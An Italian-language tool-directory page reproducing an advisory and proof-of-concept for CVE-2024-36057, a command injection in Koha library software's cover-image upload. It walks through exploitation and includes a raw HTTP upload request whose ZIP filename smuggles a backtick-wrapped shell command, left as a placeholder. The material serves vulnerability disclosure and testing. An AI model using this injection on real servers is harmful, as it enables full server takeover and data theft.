Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-36057 — Advisory e proof-of-concept per CVE-2024-36057, un'iniezione di comandi OS autenticata in Koha Library Software, che dimostra l'esecuzione arbitraria di comandi tramite nomi di file ZIP appositamente predisposti. | Kitploit
Strumenti/GitHubGitHub/hacklantic/cve-2024-36057
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubhacklantic/cve-2024-36057

CVE-2024-36057

Advisory e proof-of-concept per CVE-2024-36057, un'iniezione di comandi OS autenticata in Koha Library Software, che dimostra l'esecuzione arbitraria di comandi tramite nomi di file ZIP appositamente predisposti.

Vedi Repository
10h 19m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-36057 — Koha Library Software < 22.05.22 — Iniezione di Comandi del Sistema Operativo

ID CVE: CVE-2024-36057
Prodotto: Koha Library Software
Tipo di Vulnerabilità: Iniezione di Comandi del Sistema Operativo (CWE-78)
Punteggio CVSS: 8.7 (Alto) Autenticato
Versioni Interessate: Inferiori alla 22.05.22
Crediti: Karolis Narvilas


Descrizione

Koha è un sistema bibliotecario integrato open-source. Esiste una vulnerabilità di iniezione di comandi nella funzionalità di caricamento delle immagini di copertina in tools/upload-cover-image.pl. L'applicazione utilizza qx/unzip $filename -d $dirname/ per estrarre archivi ZIP caricati senza sanificare il parametro del nome file.

Un utente autenticato con privilegi elevati può creare un file ZIP con un nome file dannoso contenente caratteri backtick per iniettare comandi shell arbitrari, che vengono eseguiti lato server quando l'utente fa clic su "Process Images".

Impatto: Un attaccante remoto autenticato può sfruttare CVE-2024-36057 per eseguire comandi arbitrari del sistema operativo sul server sottostante, portando al compromesso completo del sistema, all'esfiltrazione di dati e all'installazione di backdoor persistenti o reverse shell.


Proof-of-Concept (PoC)

  1. Accedi a Koha come utente con privilegi elevati.
  2. Naviga su: https://{dominio}/cgi-bin/koha/tools/upload-cover-image.pl
  3. Carica un normale file ZIP e, utilizzando un proxy di intercettazione come Burp Suite, modifica il nome file come mostrato di seguito:

Richiesta:

root@kitploit:~
POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {dominio}
Cookie: [Sessione con Privilegi Elevati]
Connection: close

------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<COMANDO_INIETTATO>`.zip"
Content-Type: application/x-zip-compressed

<contenuto del file zip>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--

  1. Dopo che il file ZIP è stato caricato con successo, fai clic su "Process Images".
  2. Il comando iniettato all'interno dei backtick viene eseguito lato server. In questo esempio, viene stabilita una reverse shell sulla macchina di destinazione.

Reverse Shell PoC


Riferimenti

  • Koha Community - Note di Rilascio per v22.05.22
  • MITRE - CVE-2024-36057
  • Hacklantic
Scarica lo strumento